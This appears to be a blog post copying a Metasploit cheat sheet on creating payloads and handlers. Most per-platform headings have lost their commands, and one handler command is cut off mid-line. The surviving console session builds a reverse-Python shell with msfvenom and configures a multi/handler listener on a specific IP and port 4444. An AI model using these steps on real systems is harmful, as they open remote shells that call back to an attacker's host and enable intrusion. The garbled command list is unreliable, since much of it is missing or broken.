Creating Metasploit Payloads
Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it’s pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.
List payloads
Binaries
Linux
Windows
Mac
Web Payloads
PHP
ASP
JSP
WAR
Scripting Payloads
Python
Bash
Perl
Shellcode
For all shellcode see ‘msfvenom –help-formats’ for information as to valid
Linux Based Shellcode
Windows Based Shellcode
Mac Based Shellcode
Handlers
Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.
Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r
msf > use exploit/multi/handler
msf exploit(handler) > msfvenom -p cmd/unix/reverse_python LHOST=x.x.x.x LPORT=4444 -f raw > shell.py
[*] exec: msfvenom -p cmd/unix/reverse_python LHOST=x.x.x.x LPORT=4444 -f raw > shell.py
No platform was selected, choosing Msf::Module::Platform::Unix from the payload
No Arch selected, selecting Arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 617 bytes
msf exploit(handler) > set payload cmd/unix/reverse_python
payload => cmd/unix/reverse_python
msf exploit(handler) > set LHOST 13.124.26.147
LHOST => 13.124.26.147
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (cmd/unix/reverse_python):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 13.124.26.147 yes The listen address
LPORT 4444 yes The listen port
SHELL /bin/bash yes The system shell to use.
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > run
[-] Handler failed to bind to x.x.x.x:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Starting the payload handler...
'Security' 카테고리의 다른 글
정보보안에서의 인공지능 도입 분야와 주요 사업자 - KISA (0) | 2019.03.12 |
---|---|
mac osx reverse shell 테스트 및 bro 로그 확인 (0) | 2019.01.23 |
침투테스터를 위한 파이썬 오픈소스 도구 소개 (0) | 2017.04.20 |
ASCII Codes in Hex, Decimal (0) | 2017.01.10 |
악성코드 자동실행 Registry (0) | 2017.01.08 |